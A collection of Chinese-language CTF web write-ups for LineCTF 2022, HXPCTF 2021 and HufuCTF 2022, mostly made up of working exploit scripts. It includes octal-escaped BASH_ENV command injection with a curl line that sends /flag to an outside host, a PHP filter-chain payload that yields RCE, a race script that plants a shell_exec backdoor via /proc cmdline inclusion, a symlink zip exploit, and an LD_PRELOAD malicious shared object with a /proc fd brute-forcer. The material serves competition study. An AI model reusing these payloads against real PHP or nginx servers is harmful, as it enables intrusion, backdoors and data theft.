[LineCTF 2022]gotm
go ssti + jwt 伪造，首先在根目录发现直接解析，传入 {{.}} 能打印环境变量并泄露对应的 key，注册特定用户生成 token 再传入，拿到 key 之后直接加密即可。
[LineCTF 2022]BB
linux 中可以用 $'\' 以 8 进制形式执行指令，
cat flag == $'\143\141\164' flag
centos，可以用 p 神那篇 https://tttang.com/archive/1450/ 利用环境变量注入执行任意命令，用 8 进制绕过第一个过滤即可。
import string
import requests
cmd = 'cat /flag | curl -d @- http://vps:port'
o = ''
for c in cmd:
if c in string.ascii_letters:
o += f"$'\\{oct(ord(c))[2:]}'"
else:
o += c
r = requests.get(f'http://213f6e8f-d034-4a8a-92af-97f37cdbfc70.node4.buuoj.cn:81/?env[BASH_ENV]=`{o}`')
print(r.text)
[HXPCTF 2021]includer's revenge
著名的 nginx+LFI getshell，大致流程：
1.Nginx 在后端 fastcgi 响应过大或请求正文 body 过大时会产生临时文件
2.绕过 PHP 对软链接的解析
首先是第一个问题：产生的临时文件会立刻被删除，但在 linux 下，如果打开一个文件，该文件会出现在 /proc/pid/fd 下，而如果一个文件没被关闭就直接删除，依然可以读到文件的内容。
但读的话是以软连接的形式读的，而 php 会先解析软连接，再打开。这时就有了新的问题，这个被删除的软链接会在后面带有 (deleted)，也就是：
/proc/pid/fd/x (deleted)
这样的话 php 就会解析失败，这里通过 https://www.anquanke.com/post/id/213235#h3-5 require_once 绕过不能包含重复文件的思路，加一层目录嵌套起来，能防止 php 对软链接进行解析。
/proc/self/fd/34/../../../34/fd/9
还有一个问题就是确定 pid，需要在一个范围内进行爆破。首先在 /proc/cmdline 中找到 nginx 的 worker process（nginx master 进程不处理请求），这里 worker process 的数量不会超过 cpu 核心数量（可以通过 /proc/cpuinfo）查看，然后就是查看 /proc/sys/kernel/pid_max 找到最大的 pid，就能确定扫描范围。
最后的 payload：
import requests
url = "http://localhost/index.php"
file_to_use = "/etc/passwd"
command = "/readflag"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
[HXPCTF 2021]shitty blog
先看一下能交互的地方，$_POST['content'] 被 htmlspecialchars 防死了，_POST['delete'] 没什么用，$_COOKIE['session'] 输入后，经过拆分，判断处理之后，其中的一部分在 insert_entry 中经过预编译后插入，但在 get_user 和 delete_entry 的时候从数据块中取出，直接拼接，存在二次注入。
再看这一条链子中的判断，主要是这句：
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
其中 crypt 会被 \x00 截断，也就是说只要 hash_hmac 是以 \x00 开头，那么 crypt 就是加密了一个空（NULL），使加密结果固定。
if(! isset($_COOKIE['session'])){
$id = random_int(1, PHP_INT_MAX);
$mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
依照自动生成 session 的规则，只要能生成两个 mac 相同但 id 不同的 session ，就能说明 hash_hmac('md5', $id, $secret, true) 结果为空。在此结果之上构造 id，就可以实现注入。
php 使用 PDO 链接 sqlite，默认支持堆叠注入，最后只需要在 data 目录下面写一个 webshell 就 ok 了。[HXPCTF 2021]unzipper
传一个压缩包上去，然后会给你解压，但这里不知道 sandbox 的指，没法直接传?，并且这里 nginx 的配置是：
location = /index.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
指解析 index.php，其它的 php 并不解析。
如果是普通的 zip 解压然后读可以用软连接读文件，但这里的不同之处在于对传入的文件名进行了 realpath，会去除软连接和相关目录操作，直接返回完整路径。
但是 realpath 不能识别各种协议（PHP 伪协议），所有可以创建一个目录，目录名是 php 伪协议开头，这样就可以绕过判断。
poc:
#!/bin/bash
rm -rf exploit.dir
mkdir -p exploit.dir
pushd exploit.dir
TARGET='http://65.108.176.76:8200'
EPATH='php://filter/convert.base64-encode/resource=exploit'
mkdir -p $EPATH
ln -s /flag.txt exploit
zip -y -r exploit.zip *
curl -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' $TARGET -F "file=@exploit.zip"
curl -s -H 'Cookie: PHPSESSID=e0pabhfs43a7i8q3plo0ghs6i8' "$TARGET/?file=$EPATH" | base64 -d
echo
popd
[HXPCTF 2021]counter
也挺离谱的。。。通过 system 时新创建进程，如果把文件名设置为一串 base64，那么 system 起的这个进程的 /proc/pid/cmdline 就是这一串我们可控的 base64，在 include 中通过 php 伪协议解析。
问题还是 pid 的爆破范围，这里通过 /proc/sys/kernel/ns_last_pid 来确定，这个文件显示这个 pid 命名空间中分配的最后一个 pid。
poc:
#!/usr/bin/env python3
import requests, threading, time,os, base64, re, tempfile, subprocess,secrets, hashlib, sys, random, signal
from urllib.parse import urlparse,quote_from_bytes
def urlencode(data, safe=''):
return quote_from_bytes(data, safe)
url = f'http://{sys.argv[1]}:{sys.argv[2]}/'
backdoor_name = secrets.token_hex(8) + '.php'
secret = secrets.token_hex(16)
secret_hash = hashlib.sha1(secret.encode()).hexdigest()
print('[+] backdoor_name: ' + backdoor_name, file=sys.stderr)
print('[+] secret: ' + secret, file=sys.stderr)
code = f"<?php if(sha1($_GET['s'])==='{secret_hash}')echo shell_exec($_GET['c']);".encode()
payload = f"""<?php if(sha1($_GET['s'])==='{secret_hash}')file_put_contents("{backdoor_name}",$_GET['p']);/*""".encode()
payload_encoded = b'abcdfg' + base64.b64encode(payload)
print(payload_encoded)
assert re.match(b'^[a-zA-Z0-9]+$', payload_encoded)
# check if the payload would work on our local php setup
with tempfile.NamedTemporaryFile() as tmp:
tmp.write(b"sh\x00-c\x00rm\x00-f\x00--\x00'"+ payload_encoded +b"'")
tmp.flush()
o = subprocess.check_output(['php','-r', f'echo file_get_contents("php://filter/convert.base64-decode/resource={tmp.name}");'])
print(o, file=sys.stderr)
assert payload in o
os.chdir('/tmp')
subprocess.check_output(['php','-r', f'$_GET = ["p" => "test", "s" => "{secret}"]; include("php://filter/convert.base64-decode/resource={tmp.name}");'])
with open(backdoor_name) as f:
d = f.read()
assert d == 'test'
pid = -1
N = 10
done = False
def worker(i):
time.sleep(1)
while not done:
print(f'[+] starting include worker: {pid + i}', file=sys.stderr)
s = f"""bombardier -c 1 -d 3m '{url}?page=php%3A%2F%2Ffilter%2Fconvert.base64-decode%2Fresource%3D%2Fproc%2F{pid + i}%2Fcmdline&p={urlencode(code)}&s={secret}' > /dev/null"""
os.system(s)
def delete_worker():
time.sleep(1)
while not done:
print('[+] starting delete worker', file=sys.stderr)
s = f"""bombardier -c 8 -d 3m '{url}?page={payload_encoded.decode()}&reset=1' > /dev/null"""
os.system(s)
for i in range(N):
threading.Thread(target=worker, args=(i, ), daemon=True).start()
threading.Thread(target=delete_worker, daemon=True).start()
while not done:
try:
r = requests.get(url, params={
'page': '/proc/sys/kernel/ns_last_pid'
}, timeout=10)
print(f'[+] pid: {pid}', file=sys.stderr)
if int(r.text) > (pid+N):
pid = int(r.text) + 200
print(f'[+] pid overflow: {pid}', file=sys.stderr)
os.system('pkill -9 -x bombardier')
r = requests.get(f'{url}data/{backdoor_name}', params={
's' : secret,
'c': f'id; ls -l /; /readflag; rm {backdoor_name}'
}, timeout=10)
if r.status_code == 200:
print(r.text)
done = True
os.system('pkill -9 -x bombardier')
exit()
time.sleep(0.5)
except Exception as e:
print(e, file=sys.stderr)
[虎符CTF 2022]ezphp
p 神的环境变量注入 getshell 只限于 centos 系统，debian 无法利用，具体原理翻原文。
这里利用 hxp2021 中 nginx 上传文件的特性，传一个恶意的 so 文件，然后再用 LD_PRELOAD 加载
恶意的 so 文件：
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
system("cat /flag > /var/www/html/flag");
}
然后用脚本直接在 so 后面添加垃圾数据（因为 elf 文件的规范性这里不会影响解析）
然后爆破：
import threading, requests
URL = 'http://1.14.71.254:28878/'
done = False
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=open("D:/tmp/evil_dirty.so", "br").read())
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter():
for pid in range(4194304):
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
r = requests.get(URL, params={
'env': f"LD_PRELOAD={f}",
})
if 'uid' in r.text:
print(r.text)
print("[+] finished")
exit()
a = threading.Thread(target=bruter)
a.start()
参考文献